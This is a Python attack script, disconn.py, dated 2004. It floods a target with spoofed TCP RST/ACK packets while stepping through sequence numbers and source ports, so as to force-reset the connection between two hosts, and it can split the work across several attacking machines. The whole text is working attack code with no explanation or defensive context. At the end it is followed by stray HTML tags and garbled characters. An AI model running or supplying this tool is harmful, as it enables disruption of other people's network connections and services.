#!/usr/bin/python # # Version: 1.1 # Copyright 2004 r3d5un # # disconn.py is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # disconn.py is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with disconn.py; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # Version 1.1 changes: # -se option added (Sequence End). This allows the # user to specify an upper sequnece number, and thus # the distribution to more clients. # # i.e 4 Hosts 0-1000000000 1000000001-2000000000 # 2000000001-3000000000 3000000001-4294967295 # # # import btk import sys import string def cmdParser(args): pos = 1 quiet = False seq = 0 maxseqnum = 4294967295 win = 8000 running = True while running: running = False if args[pos] == "-s": try: seq = long(args[pos+1]) pos = pos + 2 running = True except: pos = pos + 1 if args[pos] == "-se": try: maxseqnum = long(args[pos+1]) pos = pos + 2 running = True except: pos = pos +1 elif args[pos] == "-w": try: win = long(args[pos+1]) pos = pos + 2 running = True except: pos = pos + 1 elif args[pos] == "-q": quiet = True running = True pos = pos + 1 dstip = args[pos] dstport = int(args[pos+1]) srcip = args[pos+2] tmp = string.split(args[pos+3],":") try: srcport1 = int(tmp[0]) srcport2 = int(tmp[1]) except: srcport1 = srcport2 = int(tmp[0]) return dstip,dstport,srcip,srcport1,srcport2,seq,maxseqnum,win,quiet try: args = sys.argv dstip,dstport,srcip,srcport1,srcport2,seqnum,maxseqnum,win,quiet = cmdParser(args) if not quiet: print "Attacking " + dstip + " <--> " + srcip packet = btk.btk() packet.protocol(btk.TCP) packet.flags(btk.RST | btk.ACK) i = seqnum k = 0 while i < maxseqnum: packet.options(seq=long(i)) packet.options(ack=long(i)) for p in range (srcport1, srcport2+1): packet.send(dstip,dstport,srcip,p) k=(k+1)%1000 if k == 0: if not quiet: print "1000 Packets sent (seqnum="+str(i)+")" i = i + win except: print "Usage: disconn.py [-q] [-s ] [-se ] [-w ] \n"
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß